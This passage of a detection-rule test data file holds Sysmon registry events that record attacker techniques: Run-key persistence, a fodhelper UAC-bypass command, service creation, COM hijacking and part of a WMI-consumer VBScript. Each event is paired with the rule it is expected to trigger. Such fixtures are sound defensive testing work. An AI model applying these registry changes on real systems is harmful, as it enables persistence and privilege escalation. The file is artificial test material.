{4dc16835-4977-60ef-dac9-5b0000000000}\\r\\nProcessId: 4692\\r\\nImage: C:\\\\Windows\\\\system32\\\\reg.exe\\r\\nTargetObject: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update\\r\\nDetails: C:\\\\Users\\\\Public\\\\Java-Update.vbs\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:30:47.8486552Z\",\"eventRecordID\":\"28692\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C:\\\\Users\\\\Public\\\\Java-Update.vbs", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\reg.exe", "win.eventdata.processGuid": "{4dc16835-4977-60ef-dac9-5b0000000000}", "win.eventdata.processId": "4692", "win.eventdata.ruleName": "technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update", "win.eventdata.utcTime": "2021-07-14 20:30:47.841", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "28692", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:30:47.8486552Z", "win.system.task": "13", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92301", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "Suspicious file extension detected in registry ASEP"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\reg.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Java-Update\",\"processGuid\":\"{4dc16835-4977-60ef-dac9-5b0000000000}\",\"processId\":\"4692\",\"utcTime\":\"2021-07-14 20:30:47.841\",\"ruleName\":\"technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\",\"details\":\"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\Java-Update\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-07-14 20:30:47.841\\r\\nProcessGuid: {4dc16835-4977-60ef-dac9-5b0000000000}\\r\\nProcessId: 4692\\r\\nImage: C:\\\\Windows\\\\system32\\\\reg.exe\\r\\nTargetObject: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update\\r\\nDetails: C:\\\\Users\\\\Public\\\\Java-Update.vbs\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T20:30:47.8486552Z\",\"eventRecordID\":\"28692\",\"threadID\":\"1272\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"5364\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C:\\\\Users\\\\Public\\\\Java-Update", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\reg.exe", "win.eventdata.processGuid": "{4dc16835-4977-60ef-dac9-5b0000000000}", "win.eventdata.processId": "4692", "win.eventdata.ruleName": "technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Java-Update", "win.eventdata.utcTime": "2021-07-14 20:30:47.841", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "28692", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "5364", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T20:30:47.8486552Z", "win.system.task": "13", "win.system.threadID": "1272", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92302", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "Registry entry to be executed on next logon was modified using command line application reg.exe"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Program Files\\\\\\\\TightVNC\\\\\\\\tvnserver.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\tvncontrol\",\"processGuid\":\"{4dc16835-04d7-60fa-f781-340000000000}\",\"processId\":\"7112\",\"utcTime\":\"2021-07-22 23:52:55.282\",\"ruleName\":\"technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\",\"details\":\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\TightVNC\\\\\\\\tvnserver.exe\\\\\\\" -controlservice -slave\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-07-22 23:52:55.282\\r\\nProcessGuid: {4dc16835-04d7-60fa-f781-340000000000}\\r\\nProcessId: 7112\\r\\nImage: C:\\\\Program Files\\\\TightVNC\\\\tvnserver.exe\\r\\nTargetObject: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\tvncontrol\\r\\nDetails: \\\"C:\\\\Program Files\\\\TightVNC\\\\tvnserver.exe\\\" -controlservice -slave\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-22T23:52:55.2860207Z\",\"eventRecordID\":\"302406\",\"threadID\":\"3456\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2320\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "\\\"C:\\\\Program Files\\\\TightVNC\\\\tvnserver.exe\\\" -controlservice -slave", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Program Files\\\\TightVNC\\\\tvnserver.exe", "win.eventdata.processGuid": "{4dc16835-04d7-60fa-f781-340000000000}", "win.eventdata.processId": "7112", "win.eventdata.ruleName": "technique_id=T1547.001,technique_name=Registry Run Keys / Start Folder", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\tvncontrol", "win.eventdata.utcTime": "2021-07-22 23:52:55.282", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "302406", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2320", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-22T23:52:55.2860207Z", "win.system.task": "13", "win.system.threadID": "3456", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92303", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "VNC to be executed from CURRENTVERSION\\RUN"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"targetObject\":\"HKU\\\\\\\\S-1-5-21-887924094-598891991-956377308-1146_Classes\\\\\\\\ms-settings\\\\\\\\shell\\\\\\\\open\\\\\\\\command\\\\\\\\(Default)\",\"processGuid\":\"{4dc16835-0124-6141-fb02-000000006500}\",\"processId\":\"7152\",\"utcTime\":\"2021-09-14 20:08:06.921\",\"details\":\"cmd.exe /C C:\\\\\\\\Users\\\\\\\\kmitnick.FINANCIAL\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe > C:\\\\\\\\Users\\\\\\\\kmitnick.financial\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\MGsCOxPSNK.txt\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: -\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-09-14 20:08:06.921\\r\\nProcessGuid: {4dc16835-0124-6141-fb02-000000006500}\\r\\nProcessId: 7152\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetObject: HKU\\\\S-1-5-21-887924094-598891991-956377308-1146_Classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\\(Default)\\r\\nDetails: cmd.exe /C C:\\\\Users\\\\kmitnick.FINANCIAL\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\kmitnick.financial\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-14T20:08:06.9235444Z\",\"eventRecordID\":\"360356\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "cmd.exe /C C:\\\\Users\\\\kmitnick.FINANCIAL\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\kmitnick.financial\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{4dc16835-0124-6141-fb02-000000006500}", "win.eventdata.processId": "7152", "win.eventdata.targetObject": "HKU\\\\S-1-5-21-887924094-598891991-956377308-1146_Classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\\(Default)", "win.eventdata.utcTime": "2021-09-14 20:08:06.921", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "360356", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T20:08:06.9235444Z", "win.system.task": "13", "win.system.threadID": "3756", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92305", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "fodhelper UAC bypass evidence"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"targetObject\": \"HKU\\\\\\\\S-1-5-21-184966080-802066075-2268707989-1001_Classes\\\\\\\\Folder\\\\\\\\shell\\\\\\\\open\\\\\\\\command\\\\\\\\DelegateExecute\", \"processGuid\": \"{94f48244-b463-616e-5201-000000001900}\", \"processId\": \"3112\", \"utcTime\": \"2021-10-19 12:06:02.871\", \"details\": \"(Empty)\", \"eventType\": \"SetValue\" }, \"system\": { \"eventID\": \"13\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Registry value set:\\r\\nRuleName: -\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-10-19 12:06:02.871\\r\\nProcessGuid: {94f48244-b463-616e-5201-000000001900}\\r\\nProcessId: 3112\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nTargetObject: HKU\\\\S-1-5-21-184966080-802066075-2268707989-1001_Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\DelegateExecute\\r\\nDetails: (Empty)\\\"\", \"version\": \"2\", \"systemTime\": \"2021-10-19T12:06:02.8755420Z\", \"eventRecordID\": \"48409\", \"threadID\": \"3932\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"13\", \"processID\": \"2340\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "(Empty)", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.processGuid": "{94f48244-b463-616e-5201-000000001900}", "win.eventdata.processId": "3112", "win.eventdata.targetObject": "HKU\\\\S-1-5-21-184966080-802066075-2268707989-1001_Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\DelegateExecute", "win.eventdata.utcTime": "2021-10-19 12:06:02.871", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "13", "win.system.eventRecordID": "48409", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2340", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-19T12:06:02.8755420Z", "win.system.task": "13", "win.system.threadID": "3932", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92306", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "Powershell adds to registry UAC bypass key"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\services.exe\",\"targetObject\":\"HKLM\\\\\\\\System\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\javamtsup\\\\\\\\ImagePath\",\"processGuid\":\"{4dc16835-4447-6177-0b00-000000006b00}\",\"processId\":\"636\",\"utcTime\":\"2021-10-25 20:24:46.463\",\"details\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\javamtsup.exe\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: -\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-10-25 20:24:46.463\\r\\nProcessGuid: {4dc16835-4447-6177-0b00-000000006b00}\\r\\nProcessId: 636\\r\\nImage: C:\\\\Windows\\\\system32\\\\services.exe\\r\\nTargetObject: HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\javamtsup\\\\ImagePath\\r\\nDetails: C:\\\\Windows\\\\System32\\\\javamtsup.exe\\\"\",\"version\":\"2\",\"systemTime\":\"2021-10-25T20:24:46.4658681Z\",\"eventRecordID\":\"409331\",\"threadID\":\"3812\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C:\\\\Windows\\\\System32\\\\javamtsup.exe", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\services.exe", "win.eventdata.processGuid": "{4dc16835-4447-6177-0b00-000000006b00}", "win.eventdata.processId": "636", "win.eventdata.targetObject": "HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\javamtsup\\\\ImagePath", "win.eventdata.utcTime": "2021-10-25 20:24:46.463", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "409331", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-25T20:24:46.4658681Z", "win.system.task": "13", "win.system.threadID": "3812", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92307", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "New service created in registry"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\reg.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\CurrentControlSet\\\\\\\\Classes\\\\\\\\CLSID\\\\\\\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E8}\\\\\\\\LocalServer32\",\"processGuid\":\"{4dc16835-c471-645e-0701-000000002000}\",\"processId\":\"4140\",\"utcTime\":\"2023-05-12 22:57:53.526\",\"ruleName\":\"technique_id=T1543,technique_name=Service Creation\",\"details\":\"C::\\\\\\\\windows\\\\\\\\calc.exe\",\"eventType\":\"SetValue\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"version\":\"2\",\"systemTime\":\"2023-05-12T22:57:53.5273376Z\",\"eventRecordID\":\"232330\",\"threadID\":\"3064\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2156\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C::\\\\windows\\\\calc.exe", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\reg.exe", "win.eventdata.processGuid": "{4dc16835-c471-645e-0701-000000002000}", "win.eventdata.processId": "4140", "win.eventdata.ruleName": "technique_id=T1543,technique_name=Service Creation", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\CurrentControlSet\\\\Classes\\\\CLSID\\\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E8}\\\\LocalServer32", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-12 22:57:53.526", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "232330", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2156", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-12T22:57:53.5273376Z", "win.system.task": "13", "win.system.threadID": "3064", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92308", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "Possible COM Hijacking evidence found in registry"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\reg.exe\",\"targetObject\":\"HKLM\\\\\\\\SOFTWARE\\\\\\\\CurrentControlSet\\\\\\\\Classes\\\\\\\\CLSID\\\\\\\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E8}\\\\\\\\LocalServer32\",\"processGuid\":\"{4dc16835-c471-645e-0701-000000002000}\",\"processId\":\"4140\",\"utcTime\":\"2023-05-12 22:57:53.526\",\"ruleName\":\"technique_id=T1543,technique_name=Service Creation\",\"details\":\"C::\\\\\\\\Users:\\\\\\\\AtomicRed:\\\\\\\\AppData:\\\\\\\\Local\\\\\\\\Temp\\\\\\\\calc.exe\",\"eventType\":\"SetValue\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"version\":\"2\",\"systemTime\":\"2023-05-12T22:57:53.5273376Z\",\"eventRecordID\":\"232330\",\"threadID\":\"3064\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2156\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "C::\\\\Users:\\\\AtomicRed:\\\\AppData:\\\\Local\\\\Temp\\\\calc.exe", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\reg.exe", "win.eventdata.processGuid": "{4dc16835-c471-645e-0701-000000002000}", "win.eventdata.processId": "4140", "win.eventdata.ruleName": "technique_id=T1543,technique_name=Service Creation", "win.eventdata.targetObject": "HKLM\\\\SOFTWARE\\\\CurrentControlSet\\\\Classes\\\\CLSID\\\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E8}\\\\LocalServer32", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2023-05-12 22:57:53.526", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "232330", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2156", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2023-05-12T22:57:53.5273376Z", "win.system.task": "13", "win.system.threadID": "3064", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92309", "rule_matches_expected": false, "ini_file": "sysmon_eid_13.ini", "section": "COM Hijacking evidence found in registry"} +{"log": "{ \"win\": { \"eventdata\": { \"utcTime\": \"2021-11-08 09:51:02.142\", \"name\": \" \\\\\\\"StagingLocation_Example\\\\\\\"\", \"destination\": \" \\\\\\\" \\\\\\\\nOption Explicit \\\\\\\\nDim strDate,strTime,strWmiPath,strWmiResultsPath,strFilePath,strFileTarget,strComputerName \\\\\\\\nDim objWmiResultsFile,objFilePath,objSysInfo \\\\\\\\nDim objFSO,dateTime \\\\\\\\nSet dateTime = CreateObject(\\\\\\\\\\\\\\\"WbemScripting.SWbemDateTime\\\\\\\\\\\\\\\") \\\\\\\\ndateTime.SetVarDate (now()) \\\\\\\\nstrDate = YEAR(dateTime.GetVarDate (false)) & \\\\\\\\\\\\\\\"-\\\\\\\\\\\\\\\" & Right(String(2,\\\\\\\\\\\\\\\"0\\\\\\\\\\\\\\\") & Month(dateTime.GetVarDate (false)), 2) & \\\\\\\\\\\\\\\"-\\\\\\\\\\\\\\\" & Right(String(2, \\\\\\\\\\\\\\\"0\\\\\\\\\\\\\\\") & DAY(dateTime.GetVarDate (false)), 2) \\\\\\\\nstrTime = FormatDateTime(dateTime.GetVarDate (false),vbShortTime) \\\\\\\\nSet objSysInfo = CreateObject(\\\\\\\\\\\\\\\"WinNTSystemInfo\\\\\\\\\\\\\\\") \\\\\\\\nstrComputerName = objSysInfo.ComputerName \\\\\\\\nstrWMIPath = \\\\\\\\\\\\\\\"<ADD PATH with trailing \\\\\\\\\\\\\\\\ >\\\\\\\\\\\\\\\" \\\\\\\\nstrWmiResultsPath = strWMIPath & \\\\\\\\\\\\\\\"results.log\\\\\\\\\\\\\\\" \\\\\\\\nstrFilePath = TargetEvent.TargetInstance.Name \\\\\\\\nSet objFSO = CreateObject(\\\\\\\\\\\\\\\"Scripting.Filesystemobject\\\\\\\\\\\\\\\") \\\\\\\\nSet objWmiResultsFile = objFSO.OpenTextFile(strWmiResultsPath,8,True,0) \\\\\\\\nobjWmiResultsFile.WriteLine strDate & \\\\\\\\\\\\\\\"T\\\\\\\\\\\\\\\" & strTime & \\\\\\\\\\\\\\\"Z|\\\\\\\\\\\\\\\" 